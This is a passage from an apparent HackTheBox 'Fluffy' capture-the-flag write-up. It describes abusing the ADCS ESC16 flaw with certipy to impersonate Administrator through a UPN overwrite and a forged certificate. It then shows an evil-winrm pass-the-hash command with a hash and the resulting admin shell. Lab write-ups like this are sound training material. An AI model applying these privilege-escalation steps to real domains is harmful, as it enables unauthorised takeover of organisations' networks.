Using “certipy”, I overwrite the UPN of the “ca_svc” user. We use the “ca_svc” user to retain high privileges. We can verify it with another command. Now we’re ready to continue.

UPN of user “ca_svc” changed successfully to “administrator”

With that done, we can finally request a certificate intended for the Administrator user. We use “administrator” user with the hash of “ca_svc” user. We set the CA name, which we obtained from the enumeration we had done earlier. Template can be set to “User”.

impersonating Administrator and requesting it’s certificate

New PFX certificate should appear on your machine. That’s the admin certificate. But before you continue, don’t forget to change the UPN back. That’s how we prevent disruptions later.

reverting the UPN change

And now we can finally impersonate the Administrator and authenticate with the forged certificate. “Certipy” automatically requests Administrator’s NT hash. If you’re getting the clock skew error, just update the time with “ntpdate”.

authenticating with Administrator’s certificate and requesting it’s NT hash


We can use the pass-the-hash trick again with the “evil-winrm” and get an interactive shell.

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i fluffy.htb -u Administrator -H 8da83a3fa618b6e3a00e93f676c92a6e

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
fluffy\administrator

Root flag is on Administrator’s desktop. And that wraps up the Fluffy machine.


Summary & final thoughts

Fluffy is an easy machine from HackTheBox. This box is another Active Directory-styled challenge. During your walkthrough, you will gain experience with asymmetric Kerberos authentication, learn how the certificates work in AD environments and how to exploit common ADCS vulnerabilities. We start by discovering a vulnerability report on the SMB server. We find an unpatched bug, in which the Windows Explorer initiates a SMB authentication request, leaking user’s NTLM hash. We crack this hash and compromise a user, which has “GenericWrite” privilege over multiple service accounts like “ca_svc”. We perform a Shadow Credentials attack, populating the “msDs-KeyCredentialLink” attribute and requesting associated certificates. These are then used for asymmetric authentication, enabling us to request the NT hashes. Since we compromise the “ca_svc” user, we can perform a certificate template enumeration, discovering the ADCS ESC16 vulnerability. This allows us to modify our own UPN and trick the CA into giving us Administrator’s certificate, which we can use to authenticate and get Administrator’s NT hash. In my opinion, this machine is definitely on the harder side of easy difficulty. Although I got stuck multiple times during the completion, I enjoyed every piece of challenge this box offered, from Shadow Credentials attack to ESC16. I think that it’s easy for beginners to stagnate on this box a lot, too. But after the tough struggles, the box ultimately rewards you with valuable knowledge of asymmetric Kerberos authentication (PKINIT) and ADCS. Recommending to anyone, who’s ready to put their AD and ADCS exploitation skills to the test. Overall, this machine provides a solid challenge and feels very satisfying to complete.

Comments

Popular posts from this blog

Hospital Writeup (HackTheBox Medium Machine)

Bucket Writeup (HackTheBox Medium Machine)

Mr Robot Writeup (Vulnhub Intermediate Machine)